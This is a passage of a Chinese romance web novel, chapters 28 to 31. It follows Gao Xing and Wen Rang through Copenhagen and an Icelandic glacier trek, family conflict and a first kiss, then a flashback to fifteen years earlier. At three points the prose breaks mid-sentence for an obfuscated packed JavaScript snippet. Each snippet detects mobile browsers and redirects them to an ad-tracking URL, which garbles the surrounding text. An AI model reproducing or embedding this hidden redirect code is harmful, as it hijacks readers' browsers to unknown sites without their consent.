或许这些合唱的中国人只是普通的游客,或许是移民多年的华人,或许他们离家千万里,只为了谋一份生计,赢一份漂亮的学历,但此时此刻,家乡耳熟能详的曲目在异国街头响起,胸中难免涌出复杂的情绪。 在外独自拼搏不与人说的苦闷,对相隔千里的家人难言的思念,都倾诉在音符中。 仍然自由自我 永远高唱我歌 走遍千里 欧式建筑林立,外国面孔众多,他们汇集的地方不过是宽阔街区的一角,然而这震撼的异国大合唱正以人们想象不到的速度传播到了大洋彼岸。 游客,留学生,华侨,无论是贴上什么标签。 此刻,乡音难改,血脉不变。 “融化那捧雪人的,并不是太阳。” 鼓点声渐渐弱下来,温让朝高幸摊开掌心。 “是雪人自己,心甘情愿融化。” 高幸望着他被冻红的掌心。 “一起走吗?果果。” 她忽然想起唱到最后一句歌词时,温让看向她的那一眼,情绪万千。 现在,他在等她的答案。 28. 无邪荒唐 「无邪荒唐」 冬天的静电总是很严重,脱毛衣时的噼里啪啦声,莫名其妙在身体周围飞扬的发丝,握住金属扶手时传来的电流。 当高幸的手越来越接近温让时,她明显感到了一股静电袭来,足以让人条件反射地弹开。 可他们谁也没有躲开,直到掌心相贴。 高幸清空了大脑,什么都没想,有些决定只能凭直觉来做。 想得越多,勇气反而越少。 手牵手离开音乐街区,高幸突然发现,他们今天都穿着深灰色的大衣,戴了黑色围巾,莫名像情侣装。 咖啡店的香味隐隐约约飘来,门口的椅子坐满了人,来来往往的公路车在街区穿行,年轻父母推着婴儿车闲逛。 交叉在空中的线把淡蓝色的天空切割成几块,云朵在里面缓缓平移。 并不拥挤,也不嘈杂,路过的清一色都是欧洲面孔,没有人认识他们,平静而美好。 高幸的外套买大了一码,袖子很长,盖住了他们相牵的手,不知是谁先晃了一下,接着就停不下来了。 两个加起来都快六十岁的人,像郊游的小学生一样,摇晃着紧握在一起的胳膊,然后一齐笑出了声。 “我们好幼稚。”高幸半低着头,发丝挡住侧脸,却挡不住盛放的笑意。 温让忽然松开她的手,换用小指勾住,像是无声地许诺,“那就一直幼稚下去。” 阿美琳堡皇宫的卫/兵们身穿深蓝制服,头戴熊皮高帽,端端正正地站岗,视线范围里是三三两两的游客和赋闲散步的丹麦人。 一对年轻的情侣闯进眼里,他们说着笑着,比放晴的天空灿烂。女子蹦蹦跳跳地踩在台阶边缘,男人就稳当地牵着她,没一会儿,男人也被她带偏了,两人一块儿在台阶上玩交叉跳,吸引了不少小朋友的注意。 无视周围人的眼神,沉浸在幼稚的世界里,无邪又荒谬。 玩累了,就去公园的长椅上坐着休息。 高幸靠在温让的肩膀上,安安静静等着日落。 他们之间有一种即使沉默也不会尴尬的默契。 就这样惬意地休息了会儿,温让捏了捏她的手腕,“看那儿。” 高幸懒洋洋地朝温让手指的方向瞥过去,一个小男孩不小心把糖掉在地上了,嘴角一撇,眼泪有爆发的趋势。 身旁似乎是她哥哥,四处张望了一下,迅速把掉在地上的棒棒糖捡起来,掏出兜里的纸巾敷衍地擦了擦,然后又塞小男孩儿嘴里去了。 小男孩儿瞪着双懵懂的绿眼睛看着他,有些难以置信,但又不敢反抗,神色复杂。 高幸笑出了声,“当哥哥还挺有意思。”她想起温让也有个亲弟弟,顺口说道,“不过你肯定不是这样的哥哥。” “这么相信我?万一我也欺负弟弟呢?李听墨小时候没少挨我批评。” “可你就算批评,也不会说什么重话。”高幸说道,“你无论对谁,都是这样,永远都会保留底线,和自己的理智。” 温让的头发稍微有些长了,每次戴冷帽都容易挡眼,见他没说话,高幸就凑过去,拨开额发,注视着他的双眼,“怎么了?” 距离骤然拉近,温让有些不自在地侧了下头,避开她温情的注视,“也不是永远都能保持理智的。” 高幸大概知道他是什么意思,她想到了那个海边的夜晚,正要出言安慰,温让的手机响了,他看了眼屏幕,起身说道,“我接个电话。” “好。” 电话持续的时间不长,但温让的表情却明显凝重了许多,走过来时,高幸发现他在努力调整自己的状态。 他不想让她发现自己的异样。 高幸能够理解,却免不了失落。 她没有问是谁打来的,倒是温让先开口说了。 “温廉的电话,说了下家里的事。” 一句话就让高幸方才的失落感烟消云散,“是出什么问题了吗?” “嗯,但是阿幸,我家里的事有些麻烦,暂时还不能告诉你。”温让再次牵起她的手,“我会找个合适的时机,慢慢说给你听。” “好,没关系,我们还有很长的时间。” 温让的眼神又柔和起来,情侣之间的对视难免生出诸多旖旎,但他只是拉起高幸的手,轻而浅地吻了吻她的手背。 高幸弯起双眼,笑容和十八岁时没有差别。 日落归程,他们先去三楼接小笛。 三楼住了个独居老人,休伯特,是位退休的老教师,跟李听墨爸妈关系不错,在高幸入住李家前,小笛时不时会去休伯特家里温习功课。 前些日子他去旅行了,还给小笛带了礼物,一听说他回来,小笛就迫不及待地跑去见他。 然而令高幸意外的是,休伯特并不和善,甚至有些凶,他不会说英语,高幸只能用丹麦语和他交流,某个语法用错了,老头子还严厉地纠正了她。 指责完高幸,他还不忘咚咚咚地敲响了邻居的门,让他们练琴的声音小点,门口堆了好几天的垃圾如果还不丢,他明天就把垃圾车开上来,把他们全家都丢进去。 高幸在旁边听得目瞪口呆,小笛穿好鞋,对休伯特的暴躁语气,似乎已经见怪不怪了。 温让接过她的小书包,“小笛,下午学得怎么样?” “没学。”小笛说,“休伯特跟我聊了一下午他在巴黎和老太太吵架的事。” “?” 休伯特骂完,转过身,看都不看温让他们就进屋了,关门前还不忘冷着脸给小笛说“愿你今夜好梦”。 用词倒是文绉绉的,就是语气太冷淡。 进电梯里,高幸忍不住问道:“这个休伯特爷爷是否有点……凶?” “他人很好的。”小笛的头发似乎被重新梳理过,很规整,一丝乱发都没有,“只是说话凶。” 温让赞同地点点头,说了个高幸没注意到的细节,“他关门声很轻。” 高幸想想也是,真正容易暴怒的人,做事总是莽莽撞撞的,不太会刻意把动作放轻。 “而且,那家人被他在门口吼了这么会儿,也没出来说话,估计都习惯了。”温让说道。 “放心啦,他们家就是很懒,不爱扔垃圾,每次都是休伯特帮忙扔的。”小笛说。 “那他人还蛮好的,有些人就是刀子嘴豆腐心。” “是的,我哥之前跟我说过,他有个同学表面人很好,其实是笑面虎。”小笛说,“背地里害他。” 笑面虎。 听到这个词,温让的脸色有一瞬凝滞。 高幸的注意力在小笛身上,没发现他的异样。 回到家,一开门,三个人被烟味熏得直后退。 屋子里没开灯,沙发上一个模糊的人影。 “李听墨,去吸烟区抽。”温让皱眉说道。 “对不起。”李听墨撑起身子,咳着嗽朝阳台走去。 高幸捂住小笛的口鼻,带她进屋,温让去厨房做晚饭。 又一支烟抽完,李听墨冷静下来,拖着疲惫的身躯走到温让身旁。 “沈奕岚喜欢过你?” 温让垂着眼,没说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138797|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “温让!” “你问我?”温让把锅放到灶上,“我不知道。” “是不是你也看不起我?” 被这一通莫名追问,温让古怪地看向他,“你跟沈奕岚之间发生了什么?” “你该说说,你瞒了我们什么。”李听墨没有了往日的吊儿郎当,神色严肃,眼神犀利。 温让双手撑着流理台上,沉默半晌,“谁又给你说什么了?” “我看到你跟高幸手牵手回来。” “嗯,我们在一起了。” “你以前总说我没责任心,那你觉得你这样,有责任心吗?” “李听墨。” “你什么都没跟她说过,对吗?温让,你是不想说还是不敢说?你怕她知道你家里的情况后就会远离你了,对吗?现在的人不都很重视原生家庭?如果让她知道你——” “她不会。”温让冷静地打断他,“你现在情绪不对,先别说了。” “我只是觉得,这样对她不公平。” 啪嗒一声,小笛卧室的门恰好被打开。 女子隔着一段距离,话却清晰落入她的耳里。 温让望过来的时候,她忽然后退一步,装作没听见,“你们先聊。” 说完,又合上了门。 “我和她的事,我自己会解决。”温让洗过一遍手,又放到手龙头下淋。 “你这磨磨叽叽的性子,能怎么解决?” “李听墨,温廉给你打电话了?” “不止温廉。” 温让忽觉荒谬,自嘲地笑了笑,“所以你是信了他们,不信我?” “那你就把事情说清楚,不然你让我怎么信你?”李听墨一想到温廉给他说的那些事就急了眼,用劲扯过温让的胳膊,不让他干别的事,“我之前提醒过高幸,你们家不是一般人能进的,可惜她不听,你是打算让她进去被扒层皮还是怎样?” 温让的耳边全是他嗡嗡嗡的声音,脑子都被吵疼了,“我知道该怎么做。” “如果你想跟高幸安稳地在一起,就得把家里的事都解决了!别一味地逃避,留下那么多烂摊子!” “你怎么知道我没解决?” “所以你的解决方式就是跟家里断绝关系是吗?!你的解决方式就是让温廉一个人压力大到去自杀是吗?!你的解决方式就是暂停学业不管家人躲到丹麦追女孩是吗?!” 温让紧握的拳头,青筋分明,明明已经被这番话激得怒火攻心,最后却按捺下所有翻滚的情绪,什么都没说,沉默地切菜、煲汤。 李听墨发泄完一通,看着他跟个没事人一样,心里的气也没了,更多的是一股接一股的失望,他摇了摇头,拎起随手丢在沙发上的包,离开了家。 温让像个被设定了固定程序的机器人,机械地完成着每个步骤,可惜机器人不会在削皮的时候削去指尖一块皮肉,不会流血,也没有痛觉。 削皮刀被一双手轻轻拿走了,连带着他冷却的心脏。 高幸拉着他坐到沙发上,从柜子里拿出医药箱给他上药,手法温柔,从头到尾也只有几句温柔的询问,没有一句重话。 “刚才李听墨说的……”温让从来没解释过什么,话到了嘴边,才觉得艰难。 “温让,你现在想说吗?” “如果你想听,我可以都说。” 受伤的指尖被纱布缠了起来,还绑了个蝴蝶结。 高幸忽然用双手捧住他的脸,一个吻落在紧皱的眉心。 “比起这些,我更想知道,你今晚能不能睡个好觉。” 29. 瓦特纳冰川 「瓦特纳冰川」 李听墨看到高幸发来的消息时,已经在回家的路上了。 他一直知道自己是个冲动的人,在越亲近的人面前越收不住情绪。即使他一再叮嘱自己,不能听温家的一面之词,要信任温让,要冷静地和他沟通,但温让太淡定,温廉压抑的哭声就彻底冲垮了他的理智。 人总是容易同情示弱的一方。 而温让从不示弱。 高幸发来消息说了他们明天的行程,冰川徒步太耗费体力,没办法把小笛一同带去,他得回家照顾小笛。 抵达家中已是清晨,他刚进屋,客厅的灯就被打开了。 高幸睡眼惺忪地从沙发上坐起来,长发乱糟糟的,温让开了灯,走过去揉揉她的头,“换身厚衣服,我们准备出发了。” “好~”高幸起身,抱起被子往自己的房间走,猛然发现站在玄关处的李听墨,“你回来了。” “嗯。”李听墨吹了一夜的冷风,倒是清醒了许多,“你们几点的飞机?” “七点。”高幸说,“今天的饭我们昨晚都做好了,你给小笛热一下就行。” “行。”李听墨瞧了眼那两张长沙发,“你们昨晚,睡的客厅?” “对。”高幸指了指分开的沙发,“别误会,没睡一起。” “为什么不回房?” 高幸没想跟他解释那么多,“房间睡腻了。” 李听墨当然不信,但看着温让蹲着收拾行李的样子,莫名地感到难过。好像以前每次回国,都是温让来接他,临走了也是他帮自己收拾行李。 陪自己玩的是他,帮自己收拾烂摊子的也是他,在李听墨心里,温让一直是个靠谱的大哥哥,而他和年龄相仿的温廉却有更多的共同话题。 明明温让比他俩也大不了几岁,但总是像长辈一样让他们安心。 可有一天,他发现这个靠谱的“长辈”开始不靠谱了,行径超出他的认知,他突然不知道如何是好,下意识站向了同龄者的阵营。 行李箱滚轮的声音划过耳畔,李听墨回过神来,温让和高幸已经穿戴整齐地站在了他的面前。 李听墨侧身让开,低着头,没和温让对视。 “我们先走了。”高幸打破沉默,“有事就联系。” “嗯。”李听墨应道。 等他们走出家门,他忽然拔腿跑向电梯口,在他们进电梯的前一秒,说道:“一路平安。” 温让抬手挡住电梯门,看向他,“替我安慰下温廉。” 昨晚两人都没休息够,好在今天没有游玩的行程,上午坐飞机抵达冰岛的首都后,又转汽车前往瓦特纳,算下来总共八个多小时的车程,足够他们在车上休息了。 高幸信誓旦旦地说要在飞机上看完一本书,结果上去没一会儿就歪到温让怀里睡着了。温让半搂着她,脸颊贴在她的头顶,也陷入昏睡。 在气流颠簸中醒来,高幸迷迷糊糊地问了句,“怎么了?” 温让把她的头重新按到怀里,嗓音低低的,“没事,再睡会儿。” 落地后又去转乘汽车,期间,温让又接了几个电话,高幸隔得近,依稀听到了些“住院”、“回来”等字眼,她没有多问,捧着书看得认真。 这本书还是关容清让她看的,灰色调,色彩沉重的封面,只有一滴红色的泪落在了标题上,“当尼采哭泣”,三点水像凌乱的泪。 名字一听就很压抑,这本书从买来到现在,她翻都没翻开过。 随手翻开一页,“在被这片美景祝福之前,他们拒绝死去。” 高幸心口猛地一跳。 她想到了自己来北欧的目的,而现在,好像离她的目的越来越近了。 “我的心理医生也推荐了这本书。”温让说道,“看了一半,忘在家里了。” “那你看我的。” “好。” 两个人的阅读速度出奇一致,读到精彩的句子,高幸想要勾画,但忘了带笔,温让就折起书页一角。 一本书慢悠悠地看到最后,汽车也稳稳到站。 原来漫长的旅途,也不过是读完一本书的时间。 久坐后,两人下车第一件事就是伸了个舒舒服服的懒腰,骨头都啪嗒作响。 酒店离冰川公园有些远,办好入住后,两人就各自回房休息。 鉴于两人都没有冰川徒步的经验,温让提前报了一个本地人带领的小团,约定好第二天八点出发。 7:45,温让敲响了高幸的房门,两人都是一身专业的徒步装备,高幸抱着必出片的决心,换上了她的米白色冲锋衣,帽子也是白色的,还带着毛绒的边,墨镜随意地架在帽子上。 温让伸手接她的背包,被拒绝了,“放心,这点重量我可以的,不用帮忙。” “好。” 导游已经在酒店楼下等候,是个人高马大的青年小伙,一头金色的卷毛,眼珠子像琥珀一样透亮,嗓门颇有穿透力,热忱地跟温让他们打招呼。 “你认识他?”高幸见他们很熟络的样子。 “沈奕岚的朋友,Charles。” “我说呢。” 他们这个团总共只有七个人,几乎都是成双成对的,除了一个总是站在最角落的瘦高个男子,自我介绍的时候就说了遍自己的名字“Lambert”。 有一对西欧来的中年华裔夫妻,但是不会说中文,跟温让他们交流也是说英文。 出发后,Charles特意叮嘱大家冰川徒步存在风险,不能单独行动,还给他们发了急救定位设备。 乘坐吉普抵达冰川脚下,冰雪之气袭来。 另一个和Charles长得很像的人走过来接应他,领着队里的两对夫妻先进冰川,Charles则带领温让、高幸以及Lambert。 “我们的路线只有一条。”Charles说,“人多的情况下,几乎没有停留和拍照的时间,因为不能挡着后面人的路。不过今天你们运气很好,人少,可以拍照。” 果然如Charles,冰上行走的人不多,中间还空出了很大的缝隙,足够他们停下来拍照。 高幸带上了沈奕岚的CCD,不过大多数时间都是用手机快速闪几张。 几十分钟后,他们到达了第一个观赏点,冰河湖和钻石沙滩。 冰块断裂在湖水中,有些浮冰上面还覆着雪,清透的冰蓝色和凛冽的雪白交错,像一颗颗巨型的钻石糖,还有几只小海豹趴在浮冰上,在湖中自在漂浮,对人类不理不睬。 高幸的惊叹声就没停过。 钻石沙滩就在不远处,火山沙粒形成的黑沙滩上,散落着不少晶莹冰块,恰好阳光投下,湖水泛蓝,钻石.冰块越发透亮,剔透胜过泪珠,手机都虚了焦。 在Charles的帮助下,她和温让拍了不少合照,Charles评价他俩太寡淡了。 高幸问,怎么寡淡了? Charles掏出相机,给她看自己的杰作。 原来Charles也是摄影师,和他拍过的情侣相比,高幸他俩确实寡淡,除了牵手、揽肩膀、比耶,就没其他拍照姿势了,连比心都是Charles提出来的。 “你们恋爱多久了?”Charles忍不住问道。 这一问,两人都沉默了。 这一沉默,Charles更好奇了,“难道十年了?你们看上去很年轻,中国人不是不允许早恋吗?” “我们看着像谈了十年的?”高幸问。 “像。”说话的不是Charles,而是在附近拍完风景回来的Lambert。 温让笑了,“没有十年,只有一天。” “what?!” “Jesus。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146904|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 高幸不想跟他们纠缠这个问题,拿出CCD,又去拍了会儿照片。 前往下一个观赏点的路上,高幸翻阅着自己的得意作品。 不知不觉翻到了沈奕岚以前的相册。 看到CCD上作旧的画面,高幸忽然愣住。 她记得很清楚,照片上的她当时在京市参加街舞大赛,和莫听山一块儿上台领奖,但画面对焦的并不是领奖台,而是台下的人——男子戴着鸭舌帽,只有一个背影。 如果是以前,她不一定能认出来,但现在,她很肯定这个人是温让。 温让看过她的比赛? 很快,高幸想到了唐冉说过的话。 莫听山和温让是好朋友,所以他应该是去替莫听山加油的。 高幸忐忑地往后又翻了几张,按键的手指再次停住。 这是她一个人参加省爵士大赛领奖的时候,画面里,在台下观赛的人依然是戴帽子的温让。 继续翻,是市街舞大赛,温让依旧在台下。 学校联赛,也有温让的背影。 双旦晚会、社团联谊会、街舞社路演……他都在。 一窜火苗冒了出来,微风拂过,烧了个寸草不生。 高幸几乎是抖着手关掉了CCD,她不想思考又不得不思考。 前面的温让正被Charles拉着谈天说地,没注意到她的情绪变化,身后的Lambert拍了拍她的肩膀,问她怎么了,为什么放慢了步伐。 高幸按捺住乱糟糟的念头,说了句“没事”,然后加大步子。 照片的时间线贯穿了她的大学四年,其中有很多比赛和表演,莫听山都不在,毕竟他们分属不同学校的舞队。 对啊……不同学校……高幸反应过来。 也就是说,温让来过她的学校很多次。 为了什么? 答案明明呼之欲出,又被她强行否认。 怎么可能呢。 那时候的温让跟她完全没什么交集,怎么会喜欢自己? 高幸自以为从来没有自作多情过。 但是…… 她望向温让高大的背影,也望向了记忆中他们一次次的相逢。 暴雨天的筒子楼,傍晚的游乐园大门前,高考结束那天喧闹的宴席,十八岁的春节小城,替她顶罪的卫生间,蓄谋已久的冬日骑行,毕业多年后的丹麦重逢。 雪夜高楼,中国面馆,哥哈海边的夜,清晨的咖啡,凌晨便利店的酒,默恩小屋的火锅。 他记得橘子糖,记得那场雨后倒影,记得她爱喝澳瑞白。 追他的人说他喜欢艺术,却对美术馆没有那么高的兴致,和她一样需要看画作的简介。 高幸恍然大悟,艺术有那么多的形式,不只绘画,舞蹈也是。 他喜欢看她的舞蹈比赛,喜欢看舞蹈比赛,喜欢舞蹈,喜欢艺术。 「你想吃糖吗?橘子味的。」 「就算大雨让城市颠倒的下一句。」 「活着,才能看见更美的世界。」 「没人比你更好。」 「那把手给我。」 「那一年我们见过。」 「你永远是你自己。」 「我无条件相信你。」 「一起走吗?果果。」 …… 当回忆一股脑地涌出来,高幸才发现一个悲哀的事实。 她似乎,错过了温让,很多很多年。 而同样让她心痛的,还有把这些都记录下来的沈奕岚。拍摄的全是背影,就像她对温让的情谊,始终没有正面视角。 原来他们长大的路上,不得已咽下了许多酸楚,独自消化多年,和解了变成了所谓青春回忆,和解不了就积压成了郁结情绪。 一点一点蚕食曾经饱满的灵魂。 看似洒脱,也只是看似。 30. 纯洁仙境 First 「纯洁仙境」 被温让牵住手的那刻,高幸才恍惚回神。 “Charles说我们马上去蓝冰洞探险。”温让转述了Charles的话。 “好。”高幸心不在焉地应道。 “他说会带我们深度游,进到最纯正的蓝冰洞区域。” “好。” “但是有些冰洞很黑,我们要戴好头灯,不能和他走散了。” “好。” 温让忽然不说话了,手放到高幸的后颈,隔着衣服捏了捏,“怎么回事?怎么感觉果果女士兴致不高?” 高幸扯了扯嘴角,勉强露出一个笑,“可能有点走累了。” “要休息吗?” “不用。” 温让看出她有难言的心事,便没再追问。 Charles很靠谱,领着他们边走边细致讲解,接下来的一个多小时,他们全程在冰川上行走,总共探了五个蓝冰洞,大的小的都有,比较危险的冰洞需要用到救生锁,过于狭窄的路段只能容纳一人贴着冰壁通行,好在Charles经验丰富,探险进行得很顺利。 进入最后一个蓝冰洞,Charles扬言这是今年最值得观赏的。 果不其然,一进去,眼里全是晶莹透亮的冰蓝色,冰壁有的如波浪,层层荡开,有的像鱼鳞,在阳光下泛着水润的光。 行至深处,蓝色就越发清透纯净,像是被凝固的深海之水,呼吸之间都是清清冷冷的冰雪气,干净至极。 被眼前的美景所震撼,高幸方才堆积起来的忧郁情绪慢慢淡去。 快要走出洞口,Charles忽然转过头说道:“待会儿我会给你们十分钟自由活动的时间,但是不要离开这个区域。” “OK。”一直规规矩矩跟着他的三个人同时应道。 很快,他们就明白Charles的言外之意。 洞口之外别有天地,两侧是湛蓝剔透的冰壁,崎岖不平。蓝天似水流,淌过冰洞,隔开起伏的冰山,不远处的纯白冰川和低洼地带的湖泊相连。 温让牵着高幸,踩在雪地上,耳边是嘎吱嘎吱的踩雪声,眼前是鬼斧神工的仙境。 他们并肩站着,沉默了许久,连Charles和Lambert是什么时候离开的都不知道。 “阿幸,要拍照吗?” 高幸环顾四周,空无一人,一片静寂,她忽然往后退了几步。 温让拽住她,“去哪儿?” “我有事想问你。” “好,就在这儿说。” 高幸松开他的手,摇了摇头,继续往后退,直到两人隔了一段距离,她才开口道:“温让,我们玩一个游戏。” 温让没说话,安静注视着她。 “我们每个人说一件自己的事,如果能接受对方所说的事,就往前一步,不能接受就后退一步,可以吗?” “好。”只要是高幸想做的事,他都不会拒绝。 “我是单亲家庭。”高幸先说。 温让毫不犹豫地向前一步,然后说道:“我父母曾病态控制我。” 高幸又迈出一步,说道:“我父母都出过轨。” 温让继续往前,“我厌恶过很多人,包括我的亲人。” 高幸在他话音未落的时候,就前进了一步,“我因为生病伤害过自己。” 温让眼神变得凝重,脚步却坚定地向前,“我高考改了志愿,没听我爸妈的话。” 高幸想了想,还是问道:“改志愿?你爸妈本来想让你学什么?” “想让我从商,以后管理家族企业。”温让说,“我改成了物理学。” 他要走学术路线,和父母要求的完全是两条道。 高幸往前走了一步,迟疑着说道:“我……本科没有拿过一等奖学金,也不是党/员,评优评奖都没我的份。” 温让边走边问,“你在意这个吗?” 高幸点点头,“我也不想在意,但是……世俗在意。” 温让垂下目光,思索一番,再次看向她时,眼里多了几份坚定,“我现在是休学阶段。” 高幸瞪大眼睛,这消息对她来说确实有些炸裂了,“休学?你?你怎么会休学……是发生什么事了吗?” “这个恐怕,说来话长。” “无论如何,我相信不会是你的问题。”高幸迈了一大步,既然温让都把心里一直藏着的事说了出来,她也不再顾忌什么了,深呼吸一口气给自己鼓劲,“我暗恋一个人很多年,但没勇气说出口。” 他们之间只剩不过两三步,温让却停在了原地。他在等她说完,可等了半晌,女子也没有再开口的意思。 温让抿了抿唇,明白她的意图后,脸上浮起了淡淡的笑意,“我暗恋一个女生十年,不过我想,她应该知道了。” 几乎是同时,两人迈出脚步,距离骤然缩短。 脚尖相抵的瞬间,高幸仰起头,对上男人温柔如星辰的双眸。 不知道是谁先接近的谁,谁先扯住了衣领,谁先扶住了腰,谁又先闭起双眼。 零下的天气,双唇都是冰冰凉凉的。 于是冰凉吻上冰凉,体温共渡。 四周是蓝与白,水与冰,世界仿佛只剩下这四种元素。 在这纯洁仙境,他们接了人生中的第一次吻。 “你的初吻居然还在?” “我又没谈过恋爱,这不是很正常吗?” 高幸往脸上抹了层面霜,南城近一个月无雨,秋冬交节,气候干燥。 室友何婉月还敷着面膜,说话张不开嘴,但并不影响她表达惊讶,“追你的人也不少啊,咋的,一个也瞧不上?” 何婉月是北方人,直爽大方的性子,向来不把自己的感情事迹当隐私,问起话来,嘴上也没个把门儿的。 “他们也就追着玩儿。”高幸涂好唇膏,屈起一条腿踩在椅子上,按摩酸胀的小腿肌肉。这几天在排练迎新舞台的节目,强度挺大,每天都是拖着疲惫的身躯回到寝室。 “那你也玩玩儿呗,诶。”何婉月把椅子拖到她旁边,“不是有个南城医疗集团老总的独生子在追你吗?这事儿整个学院都知道了。” “拒绝了。” “为啥?我看那人长得还行啊,至少不是猪头。” “不感兴趣。” 高幸专心致志地按摩,眼皮垂下,何婉月盯着她根根分明的长睫毛,感叹道,“你长得好看,身材也好,还会跳舞,而且咱们学校也是个一本吧,不算差,我是男的我也喜欢你啊,所以你在顾虑什么?女孩子多谈几段恋爱才知道谁才是最适合自己的人,高高,你别告诉我你想找什么soulmate,这世界的男人死绝了都不可能有soulmate。” “确实。”高幸说,“你说的也有道理。” “那就去答应了富二代老哥吧,多捞点钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149876|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存下来,一毕业就财富自由了,哪怕以后你俩不在一起了,你至少钱捞着了呀。” “不去。” “小犟种。”何婉月戳了戳她的脸颊,忽然想到什么,“你该不会……有喜欢的人了吧?” 高幸一沉默,何婉月就来劲儿,“哟,高高,被我说中了?” “没有。” “口是心非。”何婉月揽过她肩膀,“谁啊?我真挺好奇的,到底是何方大神能让你芳心暗许,连富二代都不放在眼里?” “你啊,少八点卦吧。” 高幸挪开她的胳膊,起身端起泡脚桶往厕所走,何婉月跟在她身后问个不停,“我们学校的?” “不是。” “难不成是对面学校的?不说话,那就是默认了。” “对面学校……”何婉月冥思苦想,“除了那个传说中的大学霸温让,还有谁比较出名啊?” “但是你肯定不会喜欢温让那种类型的啊,所以会是……谁呢……” 高幸倒完水,漫不经心地问了句,“他什么类型?” “我身边有几个小姐妹喜欢他,反正打听下来就是个无趣的超级卷王,也可能是我这个学渣先天性厌恶学霸吧,反正我对他没啥好感。” “那你觉得我会喜欢什么类型?” “你性情活泼,待人真诚,做事坦荡——你肯定得找个热情小伙儿啊,阳光开朗大男孩跟你站一块儿,多般配。”何婉月一想到那画面,就觉得赏心悦目。 “婉约,少看点偶像剧。” “反正你抓紧吧,你看你对床的小桃,男朋友都换了好几个了,昨天晚上还碰到她在楼下跟新男友啃嘴巴呢,你别真寡四年了。” “缘分,急不来。” “那你就慢慢等你的如意郎君吧,万一等个七八/九十年的……” “没关系,我不在乎。” “那你在乎什么?” …… 她在乎什么。 多年前没有回答的问题,此时却突然闯进脑海。 唇舌分离时,两人额头相抵,喘息声一下接一下,撞击着她的耳膜。 温让的手捧起她的脸,他摘掉了手套,指腹轻轻拂过她的眉毛,颤抖的眼皮,拨弄了一下她的睫毛,捻去泪滴,沙哑着嗓子问她,“怎么哭了?” “我等到了。” “等到什么?” 浅浅的吻落在她的鼻尖、唇边,缱绻缠绵,极尽温柔。 “等到了我所在乎的一切。” 作为一个在普通得不能再普通的家庭长大的女子,没有可傍身的家底,没有一片光明的前途,她摔着跤,淋着雨成长,她在乎的,从来都不是一份可以用金钱、家世、学历这些硬性指标去衡量的爱。 她想要的,无非是并肩而行,惺惺相惜,彼此尊重。 他们在不同的地方淋雨,然后回到同一个遮蔽风雨的地方,诉说着今日的烦恼与快乐。 即使是在漫长黑夜,照亮前路的,始终是为彼此燃烧的心灯。 更深的吻伴着一声长叹而落下。 “十五年。” 被吻到晕乎乎的时候,她听见了温让的呢喃。 “嗯?” “今天正好是我们认识的,第十五年。” 高幸倏地睁开眼。 十五年? 怎么可能。 他们第一次见面,明明是在高中啊? 31. 第一颗糖 「第一颗糖」 十五年前。 江城日报:退休老刑警惨遭出狱人员报复,死无全尸!此命案敲响警钟:如何保障人民警察及家人的隐私和安全? 报道在江城传开,逃犯尚未伏法,一时间人心惶惶,各个学校附近挤满了接孩子放学的家长,街上到处都是便衣警察,混在人群中,寻找犯罪分子的线索。 高幸所在的县城虽然也有所耳闻,但比起市里面,倒显得风平浪静了,她每天还是骑着一辆小自行车上下学,和往日没什么不同。 南方的冬天又湿又冷,年底迎来了一股寒流,把前些日子难得的晴天都赶跑了,连着下了一周的小雨。 高幸讨厌雨天。 雨天只能乘公交,从她家去往学校那条公交线,全是学生。 小学,初中,高中。 公交每停靠一个站,司机都会大吼一声:“往后挪!里面不是还有空儿吗!” 所有人就像压缩饼干,一定要被挤压到一丝空气都不剩,才算合格。 高幸这段时间睡觉腿总是抽筋,高成把她拉到墙边一量,身高又窜了两厘米。 但和高中生相比,她还是有些瘦小,所以在公交车上,高个子们都是“坚不可摧”的,她是可流动的,就像汉堡里面挤一挤就会流泻出来的夹心。 尤其是早上七点,下午六点的时间段,因为人太多,挤不上去是很正常的事,为了不迟到,高幸必须提前二十分钟就在车站等待,睡眠时间也和她一样被挤压了。 一周的雨,人满为患的公交,抵达校门后的狂奔。 足以让初中少女对这个世界失望。 但少女的失望细胞存活时间并不长,早自习一开始,朗朗读书声和班主任眼睛发亮的巡视立马让她的专注力回归到手里捧着的书本。 同桌借着书本和读书声的遮掩,正跟后排的同学聊得起劲。 “晚上去我家玩吗?我妈给我买了新的漫画。” “不去了,我爸要来接我。” “啊?你爸不是从来不管你吗?” “最近不是有个杀人凶手没抓到吗?我妈就让我爸天天接送我了。” 